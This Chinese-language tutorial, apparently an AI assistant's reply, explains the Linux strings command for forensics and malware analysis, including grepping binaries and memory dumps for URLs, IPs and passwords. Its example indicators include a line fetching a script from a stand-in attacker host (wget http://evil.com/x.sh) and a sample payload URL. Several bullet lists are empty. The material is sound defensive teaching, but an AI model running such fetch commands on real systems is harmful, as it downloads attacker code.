在 Linux 取证(数字取证 / 恶意软件分析 / 日志与文件分析)中,strings 是一个非常基础但非常实用的命令,用来从二进制文件或内存镜像中提取可打印字符串,从而发现线索。
下面从 基本用法 → 取证场景 → 实战技巧 → 注意事项 系统讲一下。
strings file
提取 file 中所有可打印字符(默认长度 ≥ 4)
strings -n 6 file
只输出长度 ≥ 6 的字符串(减少噪音)
strings -t x file # 十六进制偏移
strings -t d file # 十进制偏移
✅ 取证常用,方便定位字符串在文件中的位置
strings suspicious.bin
常见线索:
示例:
/etc/passwd
wget http://evil.com/x.sh
/bin/sh
strings -n 8 malware.exe | grep -E "http|ip|domain"
或结合正则:
strings malware | grep -Eo "([0-9]{1,3}\.){3}[0-9]{1,3}"
strings memory.dump | grep -i password
strings disk.img | grep -i "username"
常用于:
strings deleted.log
即使文件被删除,只要数据未覆盖,strings 仍可提取。
strings file | grep -i "ssh\|ftp\|password"
strings -n 6 binary > strings.txt
strings -e l file # 16-bit little endian
strings -e b file # 16-bit big endian
适用于:
file unknown
hexdump -C unknown | head
strings unknown
形成完整分析链。
strings evil.elf | grep -i "http"
输出:
http://203.0.113.5/update.sh
再反查:
whois 203.0.113.5
❌ 不能:
✅ 更适合:
strings + grep
strings + binwalk
strings + foremost
strings + volatility(内存)
如果你愿意,我可以:
你现在是做 安全分析 / CTF / 实战取证 哪一类?